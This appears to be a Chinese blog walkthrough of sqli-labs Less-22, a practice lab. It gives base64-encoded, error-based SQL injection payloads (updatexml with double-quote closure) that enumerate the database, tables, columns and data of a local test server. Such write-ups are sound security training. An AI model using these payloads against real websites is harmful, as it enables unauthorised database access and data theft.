51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

sqli-labs系列——Less-22

前言 {#前言}

本题跟上题做法相似,只是符号的区别

前期准备 {#前期准备}

开启phpstudy,开启apache服务以及mysql服务

图片-1686619451321

实验环节 {#实验环节}

浏览器访问Less-22 {#浏览器访问Less-22}

http://192.168.199.135/sqli-labs-master/Less-22/

image-1687232194740

进行简单闭合,页面正常显示 {#进行简单闭合,页面正常显示}

Dumb" -- xz
base64编码后:RHVtYiIgLS0geHo=

image-1687232297513

判断库名 {#判断库名}

Dumb" and updatexml(1, concat(0x7e, database(), 0x7e), 1)-- xz
base64编码后:RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLCBjb25jYXQoMHg3ZSwgZGF0YWJhc2UoKSwgMHg3ZSksIDEpLS0geHo=

image-1687231222310

判断表名 {#判断表名}

Dumb"and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security'limit 0,1),0x7e),1)-- xz
base64编码后:RHVtYiJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5J2xpbWl0IDAsMSksMHg3ZSksMSktLSB4eg==

image-1687231317696

判断列名 {#判断列名}

Dumb"and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) -- xz
base64编码后:RHVtYiJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBjb2x1bW5fbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSdlbWFpbHMnIGxpbWl0IDAsMSksMHg3ZSksMSkgLS0geHo=

image-1687232026628

判断数据 {#判断数据}

Dumb"and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)-- xz
base64编码后:RHVtYiJhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBpZCBmcm9tIGVtYWlscyBsaW1pdCAwLDEpLDB4N2UpLDEpLS0geHo=

image-1687232084835

赞(0)
未经允许不得转载:工具盒子 » sqli-labs系列——Less-22